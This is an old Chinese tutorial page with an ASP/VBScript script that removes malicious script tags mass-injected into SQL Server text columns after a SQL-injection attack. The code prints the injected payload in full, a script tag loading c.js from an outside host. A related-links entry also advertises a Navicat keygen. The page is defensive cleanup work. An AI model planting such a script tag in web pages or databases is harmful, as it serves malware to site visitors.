恢复 SQL 被注入后的数据代码

 更新时间:2009年02月27日 21:26:46   作者:  
当数据库别批量注入挂马后,需要批量替换掉,可以参考下面的代码。
<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<!--#include file="Inc/conn.asp"-->
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<%
server.ScriptTimeout = 1000000
'xtype=99 ntext 与text类型相似,不同的是,ntext类型采用unicode标准字符集。
'xtype=35 text 用于存储大量文本数据。
'xtype=231 nvarchar 用来定义可变长度的二进制数据,最大长度为4000个字符。
'xtype=167 varchar 存储最常可以达到8000个字符的变长的字符数据
str = "'<script src="http://e6t.3322.org/c.js" src="http://e6t.3322.org/c.js"></script>'" '加在文本类型字段后的木马代码
sql = "SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)"
set rs = conn.execute(sql)
while Not rs.eof
t_name = rs("t_name") '表名
c_name = rs("c_name") '字段名
xtype = rs("xtype") '字段类型
If (xtype = 99 Or xtype = 35) then
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace(cast([" + c_name + "] as varchar(8000)), " + str + ", '')")
Else
conn.execute("update [" + t_name + "] set [" + c_name + "]=replace([" + c_name + "], " + str + ", '')")
End If
rs.movenext
wend
response.Write("已经初步清理了挂马数据,请重新刷新页面试试看!")
%>

相关文章

  • 实例介绍SQL注入以及如何解决

    实例介绍SQL注入以及如何解决

    这篇文章主要给大家介绍了关于SQL注入以及如何解决的相关资料,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧
    2021-01-01
  • sql语句中where 1=1的作用

    sql语句中where 1=1的作用

    在看程序时时,发现基本只要是拼凑的SQL语句,基本上都会这样写:
    2008-08-08
  • 如何取得一个表的所有字段名用逗号分割

    如何取得一个表的所有字段名用逗号分割

    如何取得一个表的所有字段名用逗号分割...
    2006-12-12
  • 开源数据库设计神器chiner的安装及初体验介绍

    开源数据库设计神器chiner的安装及初体验介绍

    最近在造轮子,从 0 到 1 的那种,就差前台的界面了,大家可以耐心耐心耐心期待一下。其中需要设计一些数据库表,可以通过 Navicat 这种图形化管理工具直接开搞,也可以通过一些数据库设计工具来搞,比如说 PowerDesigner,更专业一点
    2022-02-02
  • SELECT INTO用法及支持的数据库

    SELECT INTO用法及支持的数据库

    SQL中的SELECT INTO是一种将查询结果插入到新表中的操作,能够快速复制数据和表结构,本文主要介绍了SELECT INTO用法及支持的数据库,感兴趣的可以了解一下
    2025-03-03
  • Access转成SQL数据库的方法

    Access转成SQL数据库的方法

    很多朋友想用SQL2000数据库的编程方法,但是却又苦于自己是学ACCESS的,对SQL只是一点点的了解而已,这里我给大家提供以下参考---将ACCESS转化成SQL2000的方法和注意事项。
    2015-09-09
  • Navicat11全系列激活教程图文详解(Navicat注册机)

    Navicat11全系列激活教程图文详解(Navicat注册机)

    这篇文章主要介绍了Navicat11全系列激活教程图文详解(注册机),本文通过图文并茂的形式给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2020-11-11
  • 你真的知道怎么优化SQL吗

    你真的知道怎么优化SQL吗

    这篇文章主要给大家介绍了关于优化SQL的相关资料,文中通过示例代码介绍的非常详细,对大家学习或者使用SQL具有一定的参考学习价值,需要的朋友们下面来一起学习学习吧
    2019-06-06
  • 使用sqlalchemy-gbasedbt连接GBase 8s数据库的步骤详解

    使用sqlalchemy-gbasedbt连接GBase 8s数据库的步骤详解

    这篇文章主要介绍了使用sqlalchemy-gbasedbt连接GBase 8s数据库的步骤详解,本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友可以参考下
    2023-04-04
  • 深入讲解SQL中的字符串拼接

    深入讲解SQL中的字符串拼接

    这篇文章主要介绍了关于SQL中字符串拼接的相关资料,其中包括了数字 + 字符串、数字 + 数字、字符串 + 字符串以及使用CAST和CONVERT函数进行类型转换等,需要的朋友可以参考借鉴,下面来一起看看吧。
    2017-03-03

最新评论